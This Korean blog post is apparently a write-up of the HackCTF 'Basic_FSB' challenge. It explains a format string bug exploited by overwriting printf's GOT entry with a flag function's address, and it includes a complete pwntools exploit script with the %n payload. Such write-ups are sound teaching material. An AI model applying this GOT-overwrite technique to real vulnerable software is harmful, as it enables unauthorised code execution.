Pwnable/HackCTF

Basic_FSB

Lucvs 2020. 8. 28. 17:47

이번 문제는 GOT Overwrite를 이용한 Format String Bug 문제이다. ida로 basic_fsb.dms바이너리파일을 분석한 결과를 보자. 디컴파일된 코드를 보면 우선 main 함수에 vuln() 함수가 호출되고 vuln() 함수에서는 s에 입력을 받고 printf 함수를 통하여 출력한다. 기존의 printf 사용과는 달리 FSB 환경(" " 사용 X)이 주어져있기 때문에 다음과 같이 해결할 수 있다.

 

  • printf 함수의 GOT 주소를 쉘을 실행시키는 함수의 주소로 덮는다.
  • GOT Overwrite 가 되었으면 printf(&format) 코드가 실행될 때 쉘실행 함수가 실행될 것이다.

 

flag라는 멋있는 함수가 들어있다. 이제 이 함수의 주소를 구해보자. → 0x080485b4

FSB 기법을 사용하자. payload를

printf@got + %(((int)0x080485b4)d - 4) + %n

 

과 같이 작성하면 printf$got  flag 함수의 주소가 overwrite 될 것이다. 위에서 4를 빼주는 이유는 %n을 만나면 앞의 있는 바이트를 모두 더한 값이 printf@got  overwrite 되기 때문에 앞에서 쓴 printf@got  4 bytes 이기 때문이다.

 

이제 exploit 코드를 작성하고 exploit 하자.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3002)
elf = ELF("./basic_fsb.dms") #바이너리의 정보(plt, got, 보호기법 등)를 얻을 때 사용

g = elf.got['printf'] #대괄호 사용해야 함 !주의!

payload = p32(g)
payload += "%134514096d"
payload += "%n"

r.recvuntil(": ") #function call을 하므로 recvuntil로 입력을 받는 부분 바로 전까지 이동
r.sendline(payload)
r.interactive()